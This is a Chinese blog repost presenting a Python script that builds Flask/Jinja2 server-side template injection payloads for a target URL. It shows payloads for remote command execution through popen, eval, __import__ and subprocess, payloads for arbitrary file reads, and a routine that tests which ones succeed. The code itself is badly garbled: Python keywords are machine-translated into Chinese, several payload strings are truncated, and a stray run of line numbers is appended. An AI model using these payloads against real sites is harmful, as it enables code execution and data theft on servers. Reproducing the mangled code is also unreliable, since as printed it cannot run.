Python+Flask SSTI 注入payload自动生成,python模板注入

Python+Flask SSTI 注入payload自动生成抛开代码丑不谈,用起来还是挺好用滴。 登录后复制 from flask import Flask, request
from jinja2 import Templ

抛开代码丑不谈,用起来还是挺好用滴。

登录后复制

从Flask 导入Flask,请求

从jinja2导入模板

从线程导入线程

导入请求

导入操作系统

# 写入要插入的站点和URL 参数

站点=\’http://127.0.0.1:5000/waewe?404_url=\’

# URL存储字典

url_dict={

\’打开\’:[],

\’评估\’:[],

\’__import__\’:[],

‘子进程’:[],

}

# 通用[Python2, 3] 和绕过有效负载

货币网址=[

\’通用payload_rce:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__.__globals__[\’__builtins__\’] .eval(\\\’__import__(\’os\’).popen(\’whoami\’).read()\\\’) }}{% endif %}{% endfor %}\\n\’,

\’通用负载_读取任何文件_utf8:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__ . \’].open(\’文件名\’, \’r\’, 编码=\’utf-8\’).read() }}{% endif %}{% endfor %}\\n\’,

\’通用负载_读取任何文件_gbk:\’ + site + \'{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==\’catch_warnings\’ %}{{ c.__init__ . \’].open(\’文件名\’, \’r\’, 编码=\’gbk\’).read() }}{% endif %}{% endfor %}\\n\’

]

# Python3特定的有效负载和内置函数也可以在Python2中使用

扫描列表={

\’popen\’:(\’__init__.__globals__\’, \'[\’popen\’](\’whoami\’).read()\’),

\’eval\’:(\’__init__.__globals__[\’__builtins__\’]\’, \'[\’eval\’](\\\’__import__(\’os\’).popen(\’whoami\’).read()\\\’)\’),

\’__import__\’:(\’__init__.__globals__[\’__builtins__\’]\’, \'[\’__import__\’](\’os\’).system(\’whoami\’)\’),

\’Subprocess\’:(\’__init__.__globals__\’, \'[\’Subprocess\’].check_output(\’whoami\’, shell=True).decode(\’gbk\’)\’),

# \’Subprocess\’: (\’__init__.__globals__\’, \'[\’Subprocess\’].check_output(\’dir\’,shell=True).decode(\’utf8\’)\’),

}

差分扫描():

数量=0

对于\’\’.__class__.__base__.__subclasses__(): 中的项目

尝试:

对于scan_list: ii

if ii in eval(\’item.\’ + scan_list[ii][0]):

URL=\’%s{{{}.__class__.__base__.__subclasses__()[%s].%s%s}}\\n\’ % (

地点,

数字,

扫描列表[ii][0],

扫描列表[ii][1]

url_dict[ii].append(url)

数字+=1

不包括:

数字+=1

def check_active(url, desc):

使用open(\’result.txt\’, \’a\’,coding=\’utf-8\’) 作为f:

给我的url:

status_code=request.get(i).status_code

如果没有,status_code=500:

f.write(\’利用\’ + desc + \’:\’ + i)

如果__name__==\’__main__\’:

print(\’开始构建.\’)

扫描()

如果os.path.exists(\’结果.txt\’):

os.remove(\’结果.txt\’)

使用open(\’result.txt\’, \’a\’,coding=\’utf-8\’) 作为f:

对我来说,currency_url:

f.写(i)

t_列表=[]

对我来说url_dict:

t=线程(target=check_active, args=(url_dict[i], i,))

t.start()

t_list.append(t)

关于t_list: 中的t

t.join()

[1,2,3].切片(0,0)

print(\’创建完成,请检查当前路径下的result.txt文件!\’)

1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.4 4.45.46.47.48.49.50 51.52.53.54.55.56.57.58.59.60.61.62.63.64.65.66.67.68.69.70.71.72.73.74.75.76.77.78.79.80.81.82.83。

以上#Python+Flask SSTI注入payload自动生成的相关内容来源网络,仅供参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92570.html

(0)
CSDN's avatarCSDN
上一篇 2024年6月27日 下午4:22
下一篇 2024年6月27日 下午4:42

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注